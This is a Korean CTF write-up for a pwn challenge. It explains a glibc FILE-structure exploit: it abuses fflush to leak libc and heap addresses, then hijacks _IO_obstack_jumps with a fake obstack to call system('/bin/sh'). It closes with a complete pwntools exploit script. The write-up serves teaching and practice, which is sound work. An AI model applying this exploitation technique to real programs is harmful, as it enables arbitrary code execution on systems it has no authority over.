문제 이름부터 _IO_FILE의 냄새가 난다. 문제에서 주어진 코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);

#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)

int main(void){
	FILE *fp;

	alarm(60);

	write_str("Play with FILE structure\n");

	if(!(fp = fopen("/dev/null", "r"))){
		write_str("Open error");
		return -1;
	}
	fp->_wide_data = NULL;

	for(;;){
		switch(menu()){
			case 0:
				goto END;
			case 1:
				fflush(fp);
				break;
			case 2:
				{
					unsigned char ofs;
					write_str("offset: ");
					if((ofs = getint()) & 0x80)
						ofs |= 0x40;
					write_str("value: ");
					((char*)fp)[ofs] = getint();
				}
				break;
		}
		write_str("Done.\n");
	}

END:
	write_str("Bye!");
	_exit(0);
}

static int menu(void){
	write_str("\nMENU\n"
			"1. Flush\n"
			"2. Trick\n"
			"0. Exit\n"
			"> ");

	return getint();
}

static int getnline(char *buf, int size){
	int len;

	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
		return -1;

	if(buf[len-1]=='\n')
		len--;
	buf[len] = '\0';

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}

2번 메뉴에서 FILE* 로 선언된 변수 안에 오프셋으로 값을 조작 할 수 있고 이를 통해 _IO_FILE 구조체에 있는 값을 아무거나 덮을 수 있다.

 

그리고 1번 메뉴에서 그 fp를 fflush 한다. 여기 까지 오면 fflush 를 어떻게 잘 해야겠다는 생각을 할 수 있다. 여기서 특이한 점은 _wide_data 를 지우기 때문에 해당 멤버 관련된 여러 파일 스트림 함수 (_IO_wfile_...) 를 통한 임의 코드 실행이 불가능 하므로, 다른 공격 벡터를 생각 해야한다.

 

그 전에 먼저 libc leak을 진행해야 하는데, 파일 스트림에서 leak 관련된 테크닉으론 well-known인 stdout libc leak을 우리는 잘 알고있다. 모르면 다음 링크 참고 (https://rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak

 

즉 위 글에서 핵심은 _IO_write_base와 _IO_write_ptr을 libc 가 존재하는 영역으로 세팅해서 출력 과정에 libc 가 leak 되는 것이다. 하지만 문제에서의 fp는 /dev/null 을 open 하고 있기 때문에 _IO_write_base와 같은 영역에 아무 주소도 세팅 되어있지 않다.

 그래서 먼저 저 영역에 알맞은 주소를 세팅해야 한다. 여러 함수를 살펴본 결과, _IO_doallocbuf 라는 함수는 인자에 File Stream Structure를 넣으면 _IO_buf_base 와  _IO_buf_end 가 힙 주소로 세팅된다. 

그리고 해당 멤버를 _IO_write_base와 _IO_write_ptr 에 옮겨야한다. 이걸 해주는 함수는 _IO_new_file_overflow 이다.

자세한건 해당 코드를 직접 뜯으면 되는데, _IO_buf_base 와 _IO_buf_end에 들어 있는 값을 _IO_write_base 와 같은 멤버 들로 모두 옮겨준다. 그럼 이제 모든 변수가 세팅 됐으므로, flag만 잘 세팅해주고 _IO_new_do_write 같은 출력 함수를 사용하도록 해주면 된다. 

 

이건 원래 fflush 함수가 어떤걸 호출하는지 보면, _IO_new_file_sync 를 호출하게 된다. 안에 들어가면 _IO_do_flush 를 호출하고 이는 _IO_do_write를 호출하고 우리가 변수를 잘 세팅했다는 가정하에 heap에 깔린 주소를 출력하게 된다.

heap을 보면 libc가 역시 깔려 있고 libc leak을 한 뒤에 다시 _IO_write_base, _IO_write_ptr 을 main_arena+96, main_arena+96+8 로 세팅하면 힙 주소가 세팅 된다.

 

이제 원하는 함수를 어떻게 호출할지 생각해보자. 이건 구글을 뒤져가면서 찾았는데 _IO_obstack 관련 함수를 쓰면 된다.

두 가지 함수가 존재한다. _IO_obstack_overflow와 _IO_obstack_xsputn 이 있는데 두 함수 모두 매크로를 따라 분석해보면

함수 포인터가 존재하고 인자도 존재한다. 이를 조작해주면 된다. 관련 문서는 찾아보면 많으니 찾아보시길..핵심만 첨부하겠다.

 

# define CALL_FREEFUN(h, old_chunk) \
  do { \
      if ((h)->use_extra_arg)                             \
    (*(h)->freefun)((h)->extra_arg, (old_chunk));                 \
      else                                    \
    (*(void (*)(void *))(h)->freefun)((old_chunk));           \
    } while (0)

위에서 접근하는 변수는 모두 obstack struct의 멤버이고 이를 수행하기 위해 힙에 fake obstack을 만들어 주면 된다.

from pwn import *
r = process('./chall')

elf = ELF('./chall')
libc = elf.libc

def aaw(offset, value):
    r.sendlineafter('> ', '2')
    r.sendlineafter('offset: ', str(offset))
    r.sendlineafter('value: ', str(value))
    
def aaw_size(offset, value, size=1):
    for i in range(size):
        aaw(offset + i, (value >> (8 * i)) & 0xff)

def fflush():
    r.sendlineafter('> ', '1')

aaw(0xd8, 0xa8) # vtable
aaw(0x70, 0x01) # _fileno
aaw(0x00, 0x00)
aaw(0x01, 0x18) # flag
fflush()
aaw(0xd8, 0x58) # vtable
fflush()

aaw(0x20, 0x70) # write_base
aaw(0x28, 0x78) # write_ptr
aaw(0xd8, 0xa0) # vtable to sync
fflush()

libc_base = u64(r.recv(6)+b'\x00\x00') - 0x1e8f60
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
_IO_obstack_jumps = libc_base + 0x1e9260
main_arena_96 = libc_base + 0x1ecbe0
r.success(f'libc_base : {hex(libc_base)}')
aaw_size(0x20, main_arena_96, 0x8)
aaw_size(0x28, main_arena_96 + 0x8, 0x8)
fflush()
heap_base = u64(r.recv(6) + b'\x00\x00') - 0x2480
fake_obstack = heap_base + 0x2d0 - 0x10 -  0x100000000 # _IO_write_end

r.success(f'heap_base : {hex(heap_base)}')
r.success(f'fake_obstack : {hex(fake_obstack)}')
aaw_size(0xd8, _IO_obstack_jumps - 0x28, 8)
aaw_size(0xd8 + 0x8, fake_obstack, 8)
aaw_size(0x20, 0x0, 8)
aaw_size(0x28, 0x0, 8)
aaw_size(0x30, 0x0, 8)
aaw_size(0x38, 0x0, 8)
aaw_size(0x40, 0x0, 8)
aaw_size(0x48, 0x0, 8)
aaw_size(0x50, 0x0, 8)
aaw_size(0x58, system, 8)
aaw_size(0x60, 0x0, 0x0)
aaw_size(0x68, binsh, 8)
aaw_size(0x70, 0x1, 8)
fflush()

r.interactive()

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
CTF 풀거  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11

+ Recent posts